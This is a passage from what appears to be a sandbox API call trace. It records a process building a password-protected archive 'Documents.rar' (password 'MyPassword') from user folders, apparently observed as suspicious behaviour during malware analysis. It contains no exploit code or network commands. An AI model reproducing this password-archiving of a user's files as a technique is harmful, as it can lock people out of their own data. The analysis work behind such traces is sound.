lpString="5HLd-s") returned 6 [0084.486] SetWindowTextW (hWnd=0x10300, lpString="eSCikz2YIWaDp58m1bY") returned 1 [0084.486] GetTickCount () returned 0x2aea5 [0084.486] PeekMessageW (in: lpMsg=0x141a0dd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd8a0) returned 0 [0084.486] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x1163209c5a0 [0084.486] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x1163209c6f0 [0084.486] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x1163209c270 [0084.486] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x1163209c5d0 [0084.487] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1163209c270 | out: hHeap=0x1162e7c0000) returned 1 [0084.487] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1163209c6f0 | out: hHeap=0x1162e7c0000) returned 1 [0084.487] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x1163209c5a0, Size=0x48) returned 0x1162e8893a0 [0084.487] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x1162e8893a0, Size=0x7a) returned 0x1163205cb60 [0084.487] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1163209c5d0 | out: hHeap=0x1162e7c0000) returned 1 [0084.487] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1163205cb60 | out: hHeap=0x1162e7c0000) returned 1 [0084.487] PeekMessageW (in: lpMsg=0x141a0dd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd800) returned 0 [0084.487] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0084.487] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0x141a0dd830*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x141a0dd830*=0) returned 0x288af6 [0084.487] SetFilePointer (in: hFile=0x32c, lDistanceToMove=78, lpDistanceToMoveHigh=0x141a0dd800*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x141a0dd800*=0) returned 0x288b44 [0084.487] CryptUnprotectMemory (in: pDataIn=0x141a0dd6b0, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x141a0dd6b0) returned 1 [0084.487] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0x141a0dd630, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0084.487] CryptUnprotectMemory (in: pDataIn=0x141a0dd090, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x141a0dd090) returned 1 [0084.487] CryptUnprotectMemory (in: pDataIn=0x141a0dd190, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x141a0dd190) returned 1 [0084.487] CryptUnprotectMemory (in: pDataIn=0x141a0dd310, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0x141a0dd310) returned 1 [0084.487] SetFilePointer (in: hFile=0x32c, lDistanceToMove=2657014, lpDistanceToMoveHigh=0x141a0dd7f0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x141a0dd7f0*=0) returned 0x288af6 [0084.487] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0x141a0d9ed0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x141a0d9ed0*=0) returned 0x288af6 [0084.487] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x1163209cc90 [0084.487] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x1163209c390 [0084.487] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x1163209cd80 [0084.487] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x1163209c510 [0084.487] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1163209cd80 | out: hHeap=0x1162e7c0000) returned 1 [0084.487] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1163209c390 | out: hHeap=0x1162e7c0000) returned 1 [0084.487] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x1163209cc90, Size=0x48) returned 0x1162e888ef0 [0084.487] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x1162e888ef0, Size=0x7a) returned 0x1163205d730 [0084.487] WriteFile (in: hFile=0x32c, lpBuffer=0x1163205d733*, nNumberOfBytesToWrite=0x4e, lpNumberOfBytesWritten=0x141a0d8510, lpOverlapped=0x0 | out: lpBuffer=0x1163205d733*, lpNumberOfBytesWritten=0x141a0d8510*=0x4e, lpOverlapped=0x0) returned 1 [0084.487] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1163209c510 | out: hHeap=0x1162e7c0000) returned 1 [0084.488] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1163205d730 | out: hHeap=0x1162e7c0000) returned 1 [0084.488] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0x141a0dd7f0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x141a0dd7f0*=0) returned 0x288b44 [0084.488] PeekMessageW (in: lpMsg=0x141a0dd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd8a0) returned 0 [0084.488] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0084.488] FindFirstFileW (in: lpFileName="9EMbKuPh551l7_WJZv\\qfqeMqDF", lpFindFileData=0x141a0dc660 | out: lpFindFileData=0x141a0dc660) returned 0x1163204d460 [0084.488] FindClose (in: hFindFile=0x1163204d460 | out: hFindFile=0x1163204d460) returned 1 [0084.488] LoadStringW (in: hInstance=0x7ff6f74d0000, uID=0x21c, lpBuffer=0x7ff6f764fa30, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0084.488] GetTickCount () returned 0x2aea5 [0084.488] GetWindowTextW (in: hWnd=0x102f8, lpString=0x141a0dd4c0, nMaxCount=512 | out: lpString="Creating archive Documents.rar") returned 30 [0084.488] GetDlgItem (hDlg=0x102f8, nIDDlgItem=156) returned 0x102fe [0084.488] GetWindowTextW (in: hWnd=0x102fe, lpString=0x141a0dc070, nMaxCount=2560 | out: lpString="adding") returned 6 [0084.488] GetDlgItem (hDlg=0x102f8, nIDDlgItem=155) returned 0x10300 [0084.488] GetWindowTextW (in: hWnd=0x10300, lpString=0x141a0dc070, nMaxCount=2560 | out: lpString="eSCikz2YIWaDp58m1bY") returned 19 [0084.488] SetWindowTextW (hWnd=0x10300, lpString="qfqeMqDF") returned 1 [0084.489] GetTickCount () returned 0x2aea5 [0084.489] PeekMessageW (in: lpMsg=0x141a0dd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd8a0) returned 0 [0084.489] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x1163209c750 [0084.489] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x1163209c7e0 [0084.489] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x1163209c6c0 [0084.489] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x1163209cb10 [0084.489] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1163209c6c0 | out: hHeap=0x1162e7c0000) returned 1 [0084.489] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1163209c7e0 | out: hHeap=0x1162e7c0000) returned 1 [0084.489] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x1163209c750, Size=0x48) returned 0x1162e8893f0 [0084.489] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1163209cb10 | out: hHeap=0x1162e7c0000) returned 1 [0084.489] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e8893f0 | out: hHeap=0x1162e7c0000) returned 1 [0084.489] PeekMessageW (in: lpMsg=0x141a0dd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd800) returned 0 [0084.489] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0084.489] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0x141a0dd830*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x141a0dd830*=0) returned 0x288b44 [0084.489] SetFilePointer (in: hFile=0x32c, lDistanceToMove=58, lpDistanceToMoveHigh=0x141a0dd800*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x141a0dd800*=0) returned 0x288b7e [0084.489] CryptUnprotectMemory (in: pDataIn=0x141a0dd6b0, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x141a0dd6b0) returned 1 [0084.489] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0x141a0dd630, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0084.489] CryptUnprotectMemory (in: pDataIn=0x141a0dd090, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x141a0dd090) returned 1 [0084.489] CryptUnprotectMemory (in: pDataIn=0x141a0dd190, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x141a0dd190) returned 1 [0084.489] CryptUnprotectMemory (in: pDataIn=0x141a0dd310, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0x141a0dd310) returned 1 [0084.489] SetFilePointer (in: hFile=0x32c, lDistanceToMove=2657092, lpDistanceToMoveHigh=0x141a0dd7f0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x141a0dd7f0*=0) returned 0x288b44 [0084.490] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0x141a0d9ed0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x141a0d9ed0*=0) returned 0x288b44 [0084.490] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x1163209c4e0 [0084.490] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x1163209ca50 [0084.490] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x1163209c7e0 [0084.490] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x1163209cd50 [0084.490] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1163209c7e0 | out: hHeap=0x1162e7c0000) returned 1 [0084.490] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1163209ca50 | out: hHeap=0x1162e7c0000) returned 1 [0084.490] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x1163209c4e0, Size=0x48) returned 0x1162e888900 [0084.490] WriteFile (in: hFile=0x32c, lpBuffer=0x1162e888903*, nNumberOfBytesToWrite=0x3a, lpNumberOfBytesWritten=0x141a0d8510, lpOverlapped=0x0 | out: lpBuffer=0x1162e888903*, lpNumberOfBytesWritten=0x141a0d8510*=0x3a, lpOverlapped=0x0) returned 1 [0084.490] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1163209cd50 | out: hHeap=0x1162e7c0000) returned 1 [0084.490] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e888900 | out: hHeap=0x1162e7c0000) returned 1 [0084.490] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0x141a0dd7f0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x141a0dd7f0*=0) returned 0x288b7e [0084.490] PeekMessageW (in: lpMsg=0x141a0dd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd8a0) returned 0 [0084.490] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0084.490] FindFirstFileW (in: lpFileName="My Shapes\\_private", lpFindFileData=0x141a0dc660 | out: lpFindFileData=0x141a0dc660) returned 0x1163204d460 [0084.490] FindClose (in: hFindFile=0x1163204d460 | out: hFindFile=0x1163204d460) returned 1 [0084.490] LoadStringW (in: hInstance=0x7ff6f74d0000, uID=0x21c, lpBuffer=0x7ff6f764fe30, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0084.490] GetTickCount () returned 0x2aea5 [0084.490] GetWindowTextW (in: hWnd=0x102f8, lpString=0x141a0dd4c0, nMaxCount=512 | out: lpString="Creating archive Documents.rar") returned 30 [0084.490] GetDlgItem (hDlg=0x102f8, nIDDlgItem=156) returned 0x102fe [0084.490] GetWindowTextW (in: hWnd=0x102fe, lpString=0x141a0dc070, nMaxCount=2560 | out: lpString="adding") returned 6 [0084.490] GetDlgItem (hDlg=0x102f8, nIDDlgItem=155) returned 0x10300 [0084.490] GetWindowTextW (in: hWnd=0x10300, lpString=0x141a0dc070, nMaxCount=2560 | out: lpString="qfqeMqDF") returned 8 [0084.490] SetWindowTextW (hWnd=0x10300, lpString="_private") returned 1 [0084.491] GetTickCount () returned 0x2aea5 [0084.491] PeekMessageW (in: lpMsg=0x141a0dd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd8a0) returned 0 [0084.491] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x1163209c600 [0084.491] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x1163209c5a0 [0084.491] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x1163209c300 [0084.491] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x1163209c960 [0084.491] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1163209c300 | out: hHeap=0x1162e7c0000) returned 1 [0084.491] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1163209c5a0 | out: hHeap=0x1162e7c0000) returned 1 [0084.491] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x1163209c600, Size=0x48) returned 0x1162e888900 [0084.491] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1163209c960 | out: hHeap=0x1162e7c0000) returned 1 [0084.491] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e888900 | out: hHeap=0x1162e7c0000) returned 1 [0084.491] PeekMessageW (in: lpMsg=0x141a0dd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd800) returned 0 [0084.491] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0084.491] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0x141a0dd830*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x141a0dd830*=0) returned 0x288b7e [0084.491] SetFilePointer (in: hFile=0x32c, lDistanceToMove=49, lpDistanceToMoveHigh=0x141a0dd800*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x141a0dd800*=0) returned 0x288baf [0084.491] CryptUnprotectMemory (in: pDataIn=0x141a0dd6b0, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x141a0dd6b0) returned 1 [0084.491] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0x141a0dd630, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0084.491] CryptUnprotectMemory (in: pDataIn=0x141a0dd090, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x141a0dd090) returned 1 [0084.491] CryptUnprotectMemory (in: pDataIn=0x141a0dd190, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x141a0dd190) returned 1 [0084.491] CryptUnprotectMemory (in: pDataIn=0x141a0dd310, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0x141a0dd310) returned 1 [0084.492] SetFilePointer (in: hFile=0x32c, lDistanceToMove=2657150, lpDistanceToMoveHigh=0x141a0dd7f0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x141a0dd7f0*=0) returned 0x288b7e [0084.492] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0x141a0d9ed0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x141a0d9ed0*=0) returned 0x288b7e [0084.492] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x1163209c720 [0084.492] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x1163209c7b0 [0084.492] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x1163209cd20 [0084.492] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x1163209c2a0 [0084.492] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1163209cd20 | out: hHeap=0x1162e7c0000) returned 1 [0084.492] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1163209c7b0 | out: hHeap=0x1162e7c0000) returned 1 [0084.492] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x1163209c720, Size=0x48) returned 0x1162e8893a0 [0084.492] WriteFile (in: hFile=0x32c, lpBuffer=0x1162e8893a3*, nNumberOfBytesToWrite=0x31, lpNumberOfBytesWritten=0x141a0d8510, lpOverlapped=0x0 | out: lpBuffer=0x1162e8893a3*, lpNumberOfBytesWritten=0x141a0d8510*=0x31, lpOverlapped=0x0) returned 1 [0084.492] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1163209c2a0 | out: hHeap=0x1162e7c0000) returned 1 [0084.492] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e8893a0 | out: hHeap=0x1162e7c0000) returned 1 [0084.492] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0x141a0dd7f0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x141a0dd7f0*=0) returned 0x288baf [0084.492] PeekMessageW (in: lpMsg=0x141a0dd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd8a0) returned 0 [0084.492] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0084.492] FindFirstFileW (in: lpFileName="9EMbKuPh551l7_WJZv", lpFindFileData=0x141a0dc660 | out: lpFindFileData=0x141a0dc660) returned 0x1163204d460 [0084.492] FindClose (in: hFindFile=0x1163204d460 | out: hFindFile=0x1163204d460) returned 1 [0084.492] LoadStringW (in: hInstance=0x7ff6f74d0000, uID=0x21c, lpBuffer=0x7ff6f7650230, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0084.492] GetTickCount () returned 0x2aea5 [0084.492] GetWindowTextW (in: hWnd=0x102f8, lpString=0x141a0dd4c0, nMaxCount=512 | out: lpString="Creating archive Documents.rar") returned 30 [0084.492] GetDlgItem (hDlg=0x102f8, nIDDlgItem=156) returned 0x102fe [0084.492] GetWindowTextW (in: hWnd=0x102fe, lpString=0x141a0dc070, nMaxCount=2560 | out: lpString="adding") returned 6 [0084.492] GetDlgItem (hDlg=0x102f8, nIDDlgItem=155) returned 0x10300 [0084.493] GetWindowTextW (in: hWnd=0x10300, lpString=0x141a0dc070, nMaxCount=2560 | out: lpString="_private") returned 8 [0084.493] SetWindowTextW (hWnd=0x10300, lpString="9EMbKuPh551l7_WJZv") returned 1 [0084.493] GetTickCount () returned 0x2aea5 [0084.493] PeekMessageW (in: lpMsg=0x141a0dd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd8a0) returned 0 [0084.493] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x1163209cab0 [0084.493] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x1163209c840 [0084.493] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x1163209c390 [0084.493] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x1163209c8d0 [0084.493] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1163209c390 | out: hHeap=0x1162e7c0000) returned 1 [0084.493] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1163209c840 | out: hHeap=0x1162e7c0000) returned 1 [0084.493] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x1163209cab0, Size=0x48) returned 0x1162e888ea0 [0084.493] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1163209c8d0 | out: hHeap=0x1162e7c0000) returned 1 [0084.493] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e888ea0 | out: hHeap=0x1162e7c0000) returned 1 [0084.493] PeekMessageW (in: lpMsg=0x141a0dd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd800) returned 0 [0084.493] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0084.493] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0x141a0dd830*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x141a0dd830*=0) returned 0x288baf [0084.493] SetFilePointer (in: hFile=0x32c, lDistanceToMove=49, lpDistanceToMoveHigh=0x141a0dd800*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x141a0dd800*=0) returned 0x288be0 [0084.493] CryptUnprotectMemory (in: pDataIn=0x141a0dd6b0, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x141a0dd6b0) returned 1 [0084.493] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0x141a0dd630, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0084.493] CryptUnprotectMemory (in: pDataIn=0x141a0dd090, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x141a0dd090) returned 1 [0084.494] CryptUnprotectMemory (in: pDataIn=0x141a0dd190, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x141a0dd190) returned 1 [0084.494] CryptUnprotectMemory (in: pDataIn=0x141a0dd310, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0x141a0dd310) returned 1 [0084.494] SetFilePointer (in: hFile=0x32c, lDistanceToMove=2657199, lpDistanceToMoveHigh=0x141a0dd7f0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x141a0dd7f0*=0) returned 0x288baf [0084.494] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0x141a0d9ed0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x141a0d9ed0*=0) returned 0x288baf [0084.494] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x1163209c480 [0084.494] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x1163209cb10 [0084.494] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x1163209c390 [0084.494] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x1163209c510 [0084.494] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1163209c390 | out: hHeap=0x1162e7c0000) returned 1 [0084.494] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1163209cb10 | out: hHeap=0x1162e7c0000) returned 1 [0084.494] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x1163209c480, Size=0x48) returned 0x1162e8893a0 [0084.494] WriteFile (in: hFile=0x32c, lpBuffer=0x1162e8893a3*, nNumberOfBytesToWrite=0x31, lpNumberOfBytesWritten=0x141a0d8510, lpOverlapped=0x0 | out: lpBuffer=0x1162e8893a3*, lpNumberOfBytesWritten=0x141a0d8510*=0x31, lpOverlapped=0x0) returned 1 [0084.494] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1163209c510 | out: hHeap=0x1162e7c0000) returned 1 [0084.494] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e8893a0 | out: hHeap=0x1162e7c0000) returned 1 [0084.494] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0x141a0dd7f0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x141a0dd7f0*=0) returned 0x288be0 [0084.494] PeekMessageW (in: lpMsg=0x141a0dd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd8a0) returned 0 [0084.494] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0084.494] FindFirstFileW (in: lpFileName="My Music", lpFindFileData=0x141a0dc660 | out: lpFindFileData=0x141a0dc660) returned 0x1163204d700 [0084.494] FindClose (in: hFindFile=0x1163204d700 | out: hFindFile=0x1163204d700) returned 1 [0084.494] LoadStringW (in: hInstance=0x7ff6f74d0000, uID=0x21c, lpBuffer=0x7ff6f7650630, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0084.494] GetTickCount () returned 0x2aea5 [0084.494] GetWindowTextW (in: hWnd=0x102f8, lpString=0x141a0dd4c0, nMaxCount=512 | out: lpString="Creating archive Documents.rar") returned 30 [0084.495] GetDlgItem (hDlg=0x102f8, nIDDlgItem=156) returned 0x102fe [0084.495] GetWindowTextW (in: hWnd=0x102fe, lpString=0x141a0dc070, nMaxCount=2560 | out: lpString="adding") returned 6 [0084.495] GetDlgItem (hDlg=0x102f8, nIDDlgItem=155) returned 0x10300 [0084.495] GetWindowTextW (in: hWnd=0x10300, lpString=0x141a0dc070, nMaxCount=2560 | out: lpString="9EMbKuPh551l7_WJZv") returned 18 [0084.495] SetWindowTextW (hWnd=0x10300, lpString="My Music") returned 1 [0084.497] GetTickCount () returned 0x2aeb4 [0084.497] PeekMessageW (in: lpMsg=0x141a0dd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd8a0) returned 1 [0084.497] GetMessageW (in: lpMsg=0x141a0dd830, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x141a0dd830) returned 1 [0084.497] GetFocus () returned 0x1031c [0084.497] IsDialogMessageW (hDlg=0x102f8, lpMsg=0x141a0dd830) returned 1 [0084.497] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x1163209c480 [0084.497] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x1163209c390 [0084.497] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x1163209c630 [0084.497] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x1163209ca20 [0084.497] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1163209c630 | out: hHeap=0x1162e7c0000) returned 1 [0084.497] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1163209c390 | out: hHeap=0x1162e7c0000) returned 1 [0084.497] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x1163209c480, Size=0x48) returned 0x1162e888ea0 [0084.497] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1163209ca20 | out: hHeap=0x1162e7c0000) returned 1 [0084.497] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e888ea0 | out: hHeap=0x1162e7c0000) returned 1 [0084.497] PeekMessageW (in: 